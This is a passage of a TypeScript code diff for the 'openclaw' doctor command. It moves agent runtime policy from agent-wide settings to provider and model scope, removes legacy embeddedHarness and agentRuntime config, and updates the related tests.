expect(store.main.fallbackNoticeReason).toBeUndefined(); @@ -295,14 +293,13 @@ describe("collectCodexRouteWarnings", () => { }); }); - it("keeps Codex session auth pins when the Codex runtime is ready", () => { + it("keeps Codex session auth pins while leaving runtime unpinned", () => { const store: Record = { main: { sessionId: "s1", updatedAt: 1, providerOverride: "openai-codex", modelOverride: "gpt-5.5", - agentHarnessId: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", }, @@ -310,7 +307,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -319,11 +315,11 @@ describe("collectCodexRouteWarnings", () => { updatedAt: 123, providerOverride: "openai", modelOverride: "gpt-5.5", - agentHarnessId: "codex", - agentRuntimeOverride: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", }); + expect(store.main.agentHarnessId).toBeUndefined(); + expect(store.main.agentRuntimeOverride).toBeUndefined(); }); it("preserves canonical OpenAI sessions that are explicitly pinned to PI", () => { @@ -343,7 +339,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -356,7 +351,7 @@ describe("collectCodexRouteWarnings", () => { }); }); - it("repairs legacy routes to Codex without probing OAuth readiness", () => { + it("repairs legacy routes without probing OAuth readiness", () => { const store = { profiles: { "openai-codex:default": { @@ -406,10 +401,10 @@ describe("collectCodexRouteWarnings", () => { expect(mocks.isInstalledPluginEnabled).not.toHaveBeenCalled(); expect(mocks.resolveAuthProfileOrder).not.toHaveBeenCalled(); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); }); - it("still repairs to Codex when installed plugin metadata is unavailable", () => { + it("still repairs routes when installed plugin metadata is unavailable", () => { const store = { profiles: { "openai-codex:default": { @@ -449,6 +444,6 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); }); }); diff --git a/src/commands/doctor/shared/codex-route-warnings.ts b/src/commands/doctor/shared/codex-route-warnings.ts index de1d3a60dab..817085ec636 100644 --- a/src/commands/doctor/shared/codex-route-warnings.ts +++ b/src/commands/doctor/shared/codex-route-warnings.ts @@ -11,10 +11,8 @@ type CodexRouteHit = { model: string; canonicalModel: string; runtime?: string; - setsRuntime?: boolean; }; -type CodexRepairRuntime = "codex" | "pi"; type MutableRecord = Record; type SessionRouteRepairResult = { changed: boolean; @@ -62,12 +60,11 @@ function resolveRuntime(params: { env?: NodeJS.ProcessEnv; agentRuntime?: AgentRuntimePolicyConfig; defaultsRuntime?: AgentRuntimePolicyConfig; -}): string { +}): string | undefined { return ( normalizeString(params.env?.OPENCLAW_AGENT_RUNTIME) ?? normalizeString(params.agentRuntime?.id) ?? - normalizeString(params.defaultsRuntime?.id) ?? - "codex" + normalizeString(params.defaultsRuntime?.id) ); } @@ -76,7 +73,6 @@ function recordCodexModelHit(params: { path: string; model: string; runtime?: string; - setsRuntime?: boolean; }): string | undefined { const canonicalModel = toCanonicalOpenAIModelRef(params.model); if (!canonicalModel) { @@ -87,7 +83,6 @@ function recordCodexModelHit(params: { model: params.model, canonicalModel, ...(params.runtime ? { runtime: params.runtime } : {}), - ...(params.setsRuntime ? { setsRuntime: true } : {}), }); return canonicalModel; } @@ -97,7 +92,6 @@ function collectStringModelSlot(params: { path: string; value: unknown; runtime?: string; - setsRuntime?: boolean; }): boolean { if (typeof params.value !== "string") { return false; @@ -111,7 +105,6 @@ function collectStringModelSlot(params: { path: params.path, model, runtime: params.runtime, - setsRuntime: params.setsRuntime, }); } @@ -120,7 +113,6 @@ function collectModelConfigSlot(params: { path: string; value: unknown; runtime?: string; - setsRuntimeOnPrimary?: boolean; }): boolean { if (typeof params.value === "string") { return collectStringModelSlot({ @@ -128,7 +120,6 @@ function collectModelConfigSlot(params: { path: params.path, value: params.value, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } const record = asMutableRecord(params.value); @@ -142,7 +133,6 @@ function collectModelConfigSlot(params: { path: `${params.path}.primary`, value: record.primary, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } if (Array.isArray(record.fallbacks)) { @@ -195,7 +185,6 @@ function collectAgentModelRefs(params: { path: `${params.path}.${key}`, value: agent[key], runtime: key === "model" ? params.runtime : undefined, - setsRuntimeOnPrimary: key === "model", }); } collectStringModelSlot({ @@ -307,7 +296,6 @@ function rewriteStringModelSlot(params: { key: string; path: string; runtime?: string; - setsRuntime?: boolean; }): boolean { if (!params.container) { return false; @@ -322,7 +310,6 @@ function rewriteStringModelSlot(params: { path: params.path, model, runtime: params.runtime, - setsRuntime: params.setsRuntime, }); if (!canonicalModel) { return false; @@ -337,7 +324,6 @@ function rewriteModelConfigSlot(params: { key: string; path: string; runtime?: string; - setsRuntimeOnPrimary?: boolean; }): boolean { if (!params.container) { return false; @@ -350,7 +336,6 @@ function rewriteModelConfigSlot(params: { key: params.key, path: params.path, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); } const record = asMutableRecord(value); @@ -363,7 +348,6 @@ function rewriteModelConfigSlot(params: { key: "primary", path: `${params.path}.primary`, runtime: params.runtime, - setsRuntime: params.setsRuntimeOnPrimary, }); if (Array.isArray(record.fallbacks)) { record.fallbacks = record.fallbacks.map((entry, index) => { @@ -409,27 +393,20 @@ function rewriteAgentModelRefs(params: { hits: CodexRouteHit[]; agent: MutableRecord | undefined; path: string; - runtime: CodexRepairRuntime; - currentRuntime: string; + currentRuntime?: string; rewriteModelsMap?: boolean; }): void { if (!params.agent) { return; } for (const key of AGENT_MODEL_CONFIG_KEYS) { - const rewrotePrimary = rewriteModelConfigSlot({ + rewriteModelConfigSlot({ hits: params.hits, container: params.agent, key, path: `${params.path}.${key}`, runtime: key === "model" ? params.currentRuntime : undefined, - setsRuntimeOnPrimary: key === "model", }); - if (key === "model" && rewrotePrimary) { - const agentRuntime = asMutableRecord(params.agent.agentRuntime) ?? {}; - agentRuntime.id = params.runtime; - params.agent.agentRuntime = agentRuntime; - } } rewriteStringModelSlot({ hits: params.hits, @@ -465,11 +442,10 @@ function rewriteAgentModelRefs(params: { } } -function rewriteConfigModelRefs(params: { +function rewriteConfigModelRefs(params: { cfg: OpenClawConfig; env?: NodeJS.ProcessEnv }): { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; - runtime: CodexRepairRuntime; -}): { cfg: OpenClawConfig; changes: CodexRouteHit[] } { + changes: CodexRouteHit[]; +} { const nextConfig = structuredClone(params.cfg); const hits: CodexRouteHit[] = []; const defaultsRuntime = nextConfig.agents?.defaults?.agentRuntime; @@ -477,7 +453,6 @@ function rewriteConfigModelRefs(params: { hits, agent: asMutableRecord(nextConfig.agents?.defaults), path: "agents.defaults", - runtime: params.runtime, currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), rewriteModelsMap: true, }); @@ -487,7 +462,6 @@ function rewriteConfigModelRefs(params: { hits, agent: agent as MutableRecord, path: `agents.list.${id}`, - runtime: params.runtime, currentRuntime: resolveRuntime({ env: params.env, agentRuntime: agent.agentRuntime, @@ -550,18 +524,8 @@ function rewriteConfigModelRefs(params: { }; } -function resolveCodexRepairRuntime(params: { - cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; - codexRuntimeReady?: boolean; -}): CodexRepairRuntime { - void params; - return "codex"; -} - -function formatCodexRouteChange(hit: CodexRouteHit, runtime: CodexRepairRuntime): string { - const suffix = hit.setsRuntime ? `; set agentRuntime.id to "${runtime}"` : ""; - return `${hit.path}: ${hit.model} -> ${hit.canonicalModel}${suffix}.`; +function formatCodexRouteChange(hit: CodexRouteHit): string { + return `${hit.path}: ${hit.model} -> ${hit.canonicalModel}.`; } export function collectCodexRouteWarnings(params: { @@ -581,7 +545,7 @@ export function collectCodexRouteWarnings(params: { hit.runtime ? `; current runtime is "${hit.runtime}"` : "" }.`, ), - '- Run `openclaw doctor --fix`: it rewrites configured model refs and stale sessions to `openai/*` with `agentRuntime.id: "codex"`.', + "- Run `openclaw doctor --fix`: it rewrites configured model refs and stale sessions to `openai/*` without changing explicit runtime policy.", ].join("\n"), ]; } @@ -603,22 +567,16 @@ export function maybeRepairCodexRoutes(params: { changes: [], }; } - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); const repaired = rewriteConfigModelRefs({ cfg: params.cfg, env: params.env, - runtime, }); return { cfg: repaired.cfg, warnings: [], changes: [ `Repaired Codex model routes:\n${repaired.changes - .map((hit) => `- ${formatCodexRouteChange(hit, runtime)}`) + .map((hit) => `- ${formatCodexRouteChange(hit)}`) .join("\n")}`, ], }; @@ -667,19 +625,21 @@ function clearStaleCodexFallbackNotice(entry: SessionEntry): boolean { return true; } -function clearStaleCodexAuthOverride(entry: SessionEntry, runtime: CodexRepairRuntime): boolean { - if (runtime === "codex" || !entry.authProfileOverride?.startsWith("openai-codex:")) { - return false; +function clearStaleSessionRuntimePins(entry: SessionEntry): boolean { + let changed = false; + if (entry.agentHarnessId !== undefined) { + delete entry.agentHarnessId; + changed = true; } - delete entry.authProfileOverride; - delete entry.authProfileOverrideSource; - delete entry.authProfileOverrideCompactionCount; - return true; + if (entry.agentRuntimeOverride !== undefined) { + delete entry.agentRuntimeOverride; + changed = true; + } + return changed; } export function repairCodexSessionStoreRoutes(params: { store: Record; - runtime: CodexRepairRuntime; now?: number; }): SessionRouteRepairResult { const now = params.now ?? Date.now(); @@ -700,14 +660,11 @@ export function repairCodexSessionStoreRoutes(params: { }); const changedModelRoute = changedRuntimeModelRoute || changedOverrideModelRoute; const changedFallbackNotice = clearStaleCodexFallbackNotice(entry); - const changedAuthOverride = clearStaleCodexAuthOverride(entry, params.runtime); - if (!changedModelRoute && !changedFallbackNotice && !changedAuthOverride) { + const changedRuntimePins = + changedModelRoute || changedFallbackNotice ? clearStaleSessionRuntimePins(entry) : false; + if (!changedModelRoute && !changedFallbackNotice && !changedRuntimePins) { continue; } - if (changedModelRoute) { - entry.agentHarnessId = params.runtime; - entry.agentRuntimeOverride = params.runtime; - } entry.updatedAt = now; sessionKeys.push(sessionKey); } @@ -717,11 +674,7 @@ export function repairCodexSessionStoreRoutes(params: { }; } -function scanCodexSessionStoreRoutes( - store: Record, - runtime: CodexRepairRuntime, -): string[] { - void runtime; +function scanCodexSessionStoreRoutes(store: Record): string[] { return Object.entries(store).flatMap(([sessionKey, entry]) => { if (!entry) { return []; @@ -756,13 +709,8 @@ export async function maybeRepairCodexSessionRoutes(params: { }; } if (!params.shouldRepair) { - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); const stale = targets.flatMap((target) => { - const sessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath), runtime); + const sessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath)); return sessionKeys.map((sessionKey) => `${target.agentId}:${sessionKey}`); }); return { @@ -782,24 +730,16 @@ export async function maybeRepairCodexSessionRoutes(params: { changes: [], }; } - const runtime = resolveCodexRepairRuntime({ - cfg: params.cfg, - env: params.env, - codexRuntimeReady: params.codexRuntimeReady, - }); let repairedStores = 0; let repairedSessions = 0; for (const target of targets) { - const staleSessionKeys = scanCodexSessionStoreRoutes( - loadSessionStore(target.storePath), - runtime, - ); + const staleSessionKeys = scanCodexSessionStoreRoutes(loadSessionStore(target.storePath)); if (staleSessionKeys.length === 0) { continue; } const result = await updateSessionStore( target.storePath, - (store) => repairCodexSessionStoreRoutes({ store, runtime }), + (store) => repairCodexSessionStoreRoutes({ store }), { skipMaintenance: true }, ); if (!result.changed) { @@ -818,7 +758,7 @@ export async function maybeRepairCodexSessionRoutes(params: { ? [ `Repaired Codex session routes: moved ${repairedSessions} session${ repairedSessions === 1 ? "" : "s" - } across ${repairedStores} store${repairedStores === 1 ? "" : "s"} to openai/* with agentRuntime "${runtime}".`, + } across ${repairedStores} store${repairedStores === 1 ? "" : "s"} to openai/* while preserving runtime policy.`, ] : [], }; diff --git a/src/commands/doctor/shared/legacy-config-core-normalizers.ts b/src/commands/doctor/shared/legacy-config-core-normalizers.ts index b6238a4e96b..21a70b690f8 100644 --- a/src/commands/doctor/shared/legacy-config-core-normalizers.ts +++ b/src/commands/doctor/shared/legacy-config-core-normalizers.ts @@ -229,9 +229,6 @@ type ModelProviderEntry = Partial< >; type ModelsConfigPatch = Partial>; type ModelDefinitionEntry = NonNullable[number]; -type AgentRuntimePolicyPatch = NonNullable< - NonNullable["defaults"]>["agentRuntime"] ->; function mergeModelEntry(legacyEntry: unknown, currentEntry: unknown): unknown { if (!isRecord(legacyEntry) || !isRecord(currentEntry)) { @@ -244,42 +241,81 @@ function normalizeLegacyRuntimeAgentModelConfig(raw: unknown): { value?: unknown; changed: boolean; selectedRuntime?: string; + selectedRefs: string[]; } { if (typeof raw === "string") { const migrated = migrateLegacyRuntimeModelRef(raw); return migrated - ? { value: migrated.ref, changed: true, selectedRuntime: migrated.runtime } - : { value: raw, changed: false }; + ? { + value: migrated.ref, + changed: true, + selectedRuntime: migrated.runtime, + selectedRefs: [migrated.ref], + } + : { value: raw, changed: false, selectedRefs: [] }; } if (!isRecord(raw)) { - return { value: raw, changed: false }; + return { value: raw, changed: false, selectedRefs: [] }; } const migratedPrimary = typeof raw.primary === "string" ? migrateLegacyRuntimeModelRef(raw.primary) : null; if (!migratedPrimary) { - return { value: raw, changed: false }; + return { value: raw, changed: false, selectedRefs: [] }; } const next: Record = { ...raw, primary: migratedPrimary.ref }; + const selectedRefs = [migratedPrimary.ref]; if (Array.isArray(raw.fallbacks)) { next.fallbacks = raw.fallbacks.map((fallback) => { if (typeof fallback !== "string") { return fallback; } const migratedFallback = migrateLegacyRuntimeModelRef(fallback); - return migratedFallback?.runtime === migratedPrimary.runtime - ? migratedFallback.ref - : fallback; + if (migratedFallback?.runtime === migratedPrimary.runtime) { + selectedRefs.push(migratedFallback.ref); + return migratedFallback.ref; + } + return fallback; }); } return { value: next, changed: true, selectedRuntime: migratedPrimary.runtime, + selectedRefs, }; } +function runtimeNeedsExplicitModelPolicy(runtime: string | undefined): runtime is string { + return Boolean(runtime && runtime !== "codex"); +} + +function modelEntryWithRuntimePolicy(entry: unknown, runtime: string): Record { + const base = isRecord(entry) ? { ...entry } : {}; + const currentRuntime = isRecord(base.agentRuntime) + ? normalizeOptionalLowercaseString(base.agentRuntime.id) + : undefined; + if (!currentRuntime || currentRuntime === "auto") { + base.agentRuntime = { + ...(isRecord(base.agentRuntime) ? base.agentRuntime : {}), + id: runtime, + }; + } + return base; +} + +function mergeModelEntryWithRuntimePolicy( + legacyEntry: unknown, + currentEntry: unknown, + runtime: string | undefined, +): unknown { + const merged = mergeModelEntry(legacyEntry, currentEntry); + return runtimeNeedsExplicitModelPolicy(runtime) + ? modelEntryWithRuntimePolicy(merged, runtime) + : merged; +} + function normalizeLegacyRuntimeAllowlistModels( rawModels: unknown, selectedRuntime: string | undefined, @@ -305,29 +341,30 @@ function normalizeLegacyRuntimeAllowlistModels( next[rawKey] = mergeModelEntry(entry, next[rawKey]); } for (const [migratedKey, entry] of legacyEntries) { - next[migratedKey] = mergeModelEntry(entry, next[migratedKey]); + next[migratedKey] = mergeModelEntryWithRuntimePolicy(entry, next[migratedKey], selectedRuntime); } return { value: next, changed }; } -function ensureAgentRuntimePolicy( - raw: unknown, - selectedRuntime: string, -): { - value: AgentRuntimePolicyPatch; - changed: boolean; -} { - if (!isRecord(raw)) { - return { value: { id: selectedRuntime }, changed: true }; +function ensureSelectedModelRuntimePolicies( + rawModels: unknown, + selectedRefs: readonly string[], + selectedRuntime: string | undefined, +): { value?: unknown; changed: boolean } { + if (!runtimeNeedsExplicitModelPolicy(selectedRuntime) || selectedRefs.length === 0) { + return { value: rawModels, changed: false }; } - const currentRuntime = normalizeOptionalLowercaseString(raw.id); - if (!currentRuntime || currentRuntime === "auto") { - return { - value: { ...raw, id: selectedRuntime } as AgentRuntimePolicyPatch, - changed: currentRuntime !== selectedRuntime, - }; + const next: Record = isRecord(rawModels) ? { ...rawModels } : {}; + let changed = false; + for (const ref of selectedRefs) { + const current = next[ref]; + const updated = modelEntryWithRuntimePolicy(current, selectedRuntime); + if (JSON.stringify(updated) !== JSON.stringify(current ?? {})) { + next[ref] = updated; + changed = true; + } } - return { value: raw as AgentRuntimePolicyPatch, changed: false }; + return { value: next, changed }; } function normalizeLegacyRuntimeAgentContainer( @@ -358,10 +395,15 @@ function normalizeLegacyRuntimeAgentContainer( } if (model.selectedRuntime) { - const agentRuntime = ensureAgentRuntimePolicy(raw.agentRuntime, model.selectedRuntime); - if (agentRuntime.changed) { - next.agentRuntime = agentRuntime.value; + const modelRuntimes = ensureSelectedModelRuntimePolicies( + next.models, + model.selectedRefs, + model.selectedRuntime, + ); + if (modelRuntimes.changed) { + next.models = modelRuntimes.value; changed = true; + changes.push(`Selected ${model.selectedRuntime} runtime for ${path}.models entries.`); } } diff --git a/src/commands/doctor/shared/legacy-config-migrate.test.ts b/src/commands/doctor/shared/legacy-config-migrate.test.ts index 6d008e3be03..65af434c683 100644 --- a/src/commands/doctor/shared/legacy-config-migrate.test.ts +++ b/src/commands/doctor/shared/legacy-config-migrate.test.ts @@ -315,7 +315,7 @@ describe("legacy migrate sandbox scope aliases", () => { }); }); - it("moves legacy embeddedHarness runtime policy into agentRuntime", () => { + it("removes ignored agent-wide runtime policy", () => { const res = migrateLegacyConfigForTest({ agents: { defaults: { @@ -339,20 +339,14 @@ describe("legacy migrate sandbox scope aliases", () => { expect(res.changes).toEqual( expect.arrayContaining([ - "Moved agents.defaults.embeddedHarness → agents.defaults.agentRuntime.", - "Moved agents.list.0.embeddedHarness → agents.list.0.agentRuntime.", + "Removed agents.defaults.embeddedHarness; runtime is now provider/model scoped.", + "Removed agents.list.0.embeddedHarness; runtime is now provider/model scoped.", + "Removed agents.list.0.agentRuntime; runtime is now provider/model scoped.", ]), ); - expect(res.config?.agents?.defaults).toEqual({ - agentRuntime: { - id: "claude-cli", - }, - }); + expect(res.config?.agents?.defaults).toEqual({}); expect(res.config?.agents?.list?.[0]).toEqual({ id: "reviewer", - agentRuntime: { - id: "codex", - }, }); }); diff --git a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts index 33a54aa3929..e57d153dc99 100644 --- a/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts +++ b/src/commands/doctor/shared/legacy-config-migrations.runtime.agents.ts @@ -58,24 +58,30 @@ const LEGACY_AGENT_RUNTIME_POLICY_RULES: LegacyConfigRule[] = [ { path: ["agents", "defaults", "agentRuntime", "fallback"], message: - 'agents.defaults.agentRuntime.fallback is no longer supported; explicit runtimes fail closed and auto mode owns PI fallback. Run "openclaw doctor --fix".', + 'agents.defaults.agentRuntime is ignored; set models.providers..agentRuntime or a model-scoped agentRuntime instead. Run "openclaw doctor --fix".', }, { path: ["agents", "defaults", "embeddedHarness"], message: - 'agents.defaults.embeddedHarness is legacy; use agents.defaults.agentRuntime instead. Run "openclaw doctor --fix".', + 'agents.defaults.embeddedHarness is legacy and ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', + match: (value) => getRecord(value) !== null, + }, + { + path: ["agents", "defaults", "agentRuntime"], + message: + 'agents.defaults.agentRuntime is ignored; set models.providers..agentRuntime or a model-scoped agentRuntime instead. Run "openclaw doctor --fix".', match: (value) => getRecord(value) !== null, }, { path: ["agents", "list"], message: - 'agents.list[].agentRuntime.fallback is no longer supported; explicit runtimes fail closed and auto mode owns PI fallback. Run "openclaw doctor --fix".', - match: (value) => hasAgentListRuntimeFallback(value), + 'agents.list[].agentRuntime is ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', + match: (value) => hasAgentListRuntimePolicy(value), }, { path: ["agents", "list"], message: - 'agents.list[].embeddedHarness is legacy; use agents.list[].agentRuntime instead. Run "openclaw doctor --fix".', + 'agents.list[].embeddedHarness is legacy and ignored; set provider/model runtime policy instead. Run "openclaw doctor --fix".', match: (value) => hasLegacyAgentListEmbeddedHarness(value), }, ]; @@ -166,16 +172,11 @@ function hasLegacyAgentListEmbeddedHarness(value: unknown): boolean { return value.some((agent) => getRecord(getRecord(agent)?.embeddedHarness) !== null); } -function hasAgentRuntimeFallback(value: unknown): boolean { - const runtime = getRecord(value); - return Boolean(runtime && Object.prototype.hasOwnProperty.call(runtime, "fallback")); -} - -function hasAgentListRuntimeFallback(value: unknown): boolean { +function hasAgentListRuntimePolicy(value: unknown): boolean { if (!Array.isArray(value)) { return false; } - return value.some((agent) => hasAgentRuntimeFallback(getRecord(agent)?.agentRuntime)); + return value.some((agent) => getRecord(getRecord(agent)?.agentRuntime) !== null); } function migrateLegacySandboxPerSession( @@ -199,45 +200,19 @@ function migrateLegacySandboxPerSession( delete sandbox.perSession; } -function migrateLegacyAgentRuntimePolicy( +function removeLegacyAgentRuntimePolicy( container: Record, pathLabel: string, changes: string[], ): void { - const legacy = getRecord(container.embeddedHarness); - if (!legacy) { - return; + if (getRecord(container.embeddedHarness) !== null) { + delete container.embeddedHarness; + changes.push(`Removed ${pathLabel}.embeddedHarness; runtime is now provider/model scoped.`); } - - const existing = getRecord(container.agentRuntime); - const next = existing ? structuredClone(existing) : {}; - if (next.id === undefined && legacy.runtime !== undefined) { - next.id = legacy.runtime; - } - - if (Object.keys(next).length > 0) { - container.agentRuntime = next; - } - delete container.embeddedHarness; - changes.push(`Moved ${pathLabel}.embeddedHarness → ${pathLabel}.agentRuntime.`); -} - -function removeAgentRuntimeFallback( - container: Record, - pathLabel: string, - changes: string[], -): void { - const runtime = getRecord(container.agentRuntime); - if (!runtime || !Object.prototype.hasOwnProperty.call(runtime, "fallback")) { - return; - } - delete runtime.fallback; - if (Object.keys(runtime).length > 0) { - container.agentRuntime = runtime; - } else { + if (getRecord(container.agentRuntime) !== null) { delete container.agentRuntime; + changes.push(`Removed ${pathLabel}.agentRuntime; runtime is now provider/model scoped.`); } - changes.push(`Removed ${pathLabel}.agentRuntime.fallback.`); } export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[] = [ @@ -257,15 +232,14 @@ export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[ }, }), defineLegacyConfigMigration({ - id: "agents.embeddedHarness->agentRuntime", - describe: "Move legacy embeddedHarness runtime policy to agentRuntime", + id: "agents.agentRuntime-ignored", + describe: "Remove ignored agent-wide runtime policy", legacyRules: LEGACY_AGENT_RUNTIME_POLICY_RULES, apply: (raw, changes) => { const agents = getRecord(raw.agents); const defaults = getRecord(agents?.defaults); if (defaults) { - migrateLegacyAgentRuntimePolicy(defaults, "agents.defaults", changes); - removeAgentRuntimeFallback(defaults, "agents.defaults", changes); + removeLegacyAgentRuntimePolicy(defaults, "agents.defaults", changes); } if (!Array.isArray(agents?.list)) { @@ -276,8 +250,7 @@ export const LEGACY_CONFIG_MIGRATIONS_RUNTIME_AGENTS: LegacyConfigMigrationSpec[ if (!agentRecord) { continue; } - migrateLegacyAgentRuntimePolicy(agentRecord, `agents.list.${index}`, changes); - removeAgentRuntimeFallback(agentRecord, `agents.list.${index}`, changes); + removeLegacyAgentRuntimePolicy(agentRecord, `agents.list.${index}`, changes); } }, }), diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.test.ts b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts index 1531d1ba597..be1ee7df68c 100644 --- a/src/commands/doctor/shared/missing-configured-plugin-install.test.ts +++ b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts @@ -1186,26 +1186,48 @@ describe("repairMissingConfiguredPluginInstalls", () => { it.each([ [ - "default agent runtime", + "default OpenAI model route", { agents: { defaults: { - agentRuntime: { id: "codex" }, + model: "openai/gpt-5.5", }, }, }, {}, ], [ - "agent runtime override", + "provider runtime policy", { - agents: { - list: [{ id: "main", agentRuntime: { id: "codex" } }], + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex" }, + models: [], + }, + }, + }, + }, + {}, + ], + [ + "agent model runtime policy", + { + agents: { + list: [ + { + id: "main", + model: "anthropic/claude-opus-4-7", + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "codex" } }, + }, + }, + ], }, }, {}, ], - ["environment runtime override", {}, { OPENCLAW_AGENT_RUNTIME: "codex" }], ])("repairs a missing Codex plugin selected by %s", async (_label, cfg, env) => { mocks.installPluginFromNpmSpec.mockResolvedValueOnce({ ok: true, @@ -1262,6 +1284,55 @@ describe("repairMissingConfiguredPluginInstalls", () => { }); }); + it.each([ + [ + "default agent runtime", + { + agents: { + defaults: { + agentRuntime: { id: "codex" }, + }, + }, + }, + {}, + ], + [ + "agent runtime override", + { + agents: { + list: [{ id: "main", agentRuntime: { id: "codex" } }], + }, + }, + {}, + ], + ["environment runtime override", {}, { OPENCLAW_AGENT_RUNTIME: "codex" }], + ])("ignores legacy whole-agent Codex runtime selected by %s", async (_label, cfg, env) => { + mocks.listOfficialExternalPluginCatalogEntries.mockReturnValue([ + { + id: "codex", + label: "Codex", + install: { + npmSpec: "@openclaw/codex", + defaultChoice: "npm", + }, + }, + ]); + + const { repairMissingConfiguredPluginInstalls } = + await import("./missing-configured-plugin-install.js"); + const result = await repairMissingConfiguredPluginInstalls({ + cfg, + env, + }); + + expect(mocks.installPluginFromNpmSpec).not.toHaveBeenCalled(); + expect(mocks.writePersistedInstalledPluginIndexInstallRecords).not.toHaveBeenCalled(); + expect(result).toEqual({ + changes: [], + warnings: [], + }); + }); + it("does not install a blocked downloadable plugin from explicit channel ids", async () => { mocks.listChannelPluginCatalogEntries.mockReturnValue([ { diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.ts b/src/commands/doctor/shared/missing-configured-plugin-install.ts index 2b852c54205..4114a8d09f6 100644 --- a/src/commands/doctor/shared/missing-configured-plugin-install.ts +++ b/src/commands/doctor/shared/missing-configured-plugin-install.ts @@ -1,5 +1,6 @@ import { existsSync } from "node:fs"; import path from "node:path"; +import { collectConfiguredAgentHarnessRuntimes } from "../../../agents/harness-runtimes.js"; import { listExplicitlyDisabledChannelIdsForConfig, listPotentialConfiguredChannelIds, @@ -108,13 +109,8 @@ function addConfiguredAgentRuntimePluginIds( cfg: OpenClawConfig, env?: NodeJS.ProcessEnv, ): void { - addConfiguredPluginId(ids, env?.OPENCLAW_AGENT_RUNTIME); - const agents = asObjectRecord(cfg.agents); - const defaults = asObjectRecord(agents?.defaults); - addConfiguredPluginId(ids, asObjectRecord(defaults?.agentRuntime)?.id); - const list = Array.isArray(agents?.list) ? agents.list : []; - for (const entry of list) { - addConfiguredPluginId(ids, asObjectRecord(asObjectRecord(entry)?.agentRuntime)?.id); + for (const runtime of collectConfiguredAgentHarnessRuntimes(cfg, env ?? process.env)) { + addConfiguredPluginId(ids, runtime); } } diff --git a/src/commands/gateway-install-token.test.ts b/src/commands/gateway-install-token.test.ts index 2c9e17b551a..144e54818da 100644 --- a/src/commands/gateway-install-token.test.ts +++ b/src/commands/gateway-install-token.test.ts @@ -268,7 +268,7 @@ describe("resolveGatewayInstallToken", () => { expect(result.token).toBeUndefined(); expect(result.unavailableReason).toBeUndefined(); - expect(result.warnings.some((message) => message.includes("Auto-generated"))).toBe(false); + expect(result.warnings.filter((message) => message.includes("Auto-generated"))).toEqual([]); expect(replaceConfigFileMock).not.toHaveBeenCalled(); }); @@ -300,7 +300,7 @@ describe("resolveGatewayInstallToken", () => { }); expect(result.token).toBeUndefined(); expect(result.unavailableReason).toBeUndefined(); - expect(result.warnings.some((message) => message.includes("Auto-generated"))).toBe(false); + expect(result.warnings.filter((message) => message.includes("Auto-generated"))).toEqual([]); expect(replaceConfigFileMock).not.toHaveBeenCalled(); }); diff --git a/src/commands/message.test.ts b/src/commands/message.test.ts index 4a3e5521185..63b2a0ca102 100644 --- a/src/commands/message.test.ts +++ b/src/commands/message.test.ts @@ -215,9 +215,9 @@ describe("messageCommand", () => { targetIds?: Set; }; expect(call.targetIds).toBeInstanceOf(Set); - expect([...(call.targetIds ?? [])].every((id) => id.startsWith("channels.telegram."))).toBe( - true, - ); + expect( + [...(call.targetIds ?? [])].filter((id) => !id.startsWith("channels.telegram.")), + ).toEqual([]); }); it("keeps local-fallback resolved cfg and logs diagnostics", async () => { diff --git a/src/commands/migrate/selection.test.ts b/src/commands/migrate/selection.test.ts index b8d61d63bd6..38d59123e6c 100644 --- a/src/commands/migrate/selection.test.ts +++ b/src/commands/migrate/selection.test.ts @@ -192,7 +192,7 @@ describe("applyMigrationSkillSelection", () => { ); expect(selected.summary).toMatchObject({ planned: 0, skipped: 2 }); - expect(selected.items.every((item) => item.status === "skipped")).toBe(true); + expect(selected.items.map((item) => item.status)).toEqual(["skipped", "skipped"]); }); it("defaults interactive selection to planned skills only", () => { diff --git a/src/commands/model-picker.test.ts b/src/commands/model-picker.test.ts index 72f9adfa5f2..771f09373dc 100644 --- a/src/commands/model-picker.test.ts +++ b/src/commands/model-picker.test.ts @@ -142,10 +142,9 @@ const OPENROUTER_CATALOG = [ ] as const; function expectRouterModelFiltering(options: Array<{ value: string }>) { - expect(options.some((opt) => opt.value === "openrouter/auto")).toBe(false); - expect(options.some((opt) => opt.value === 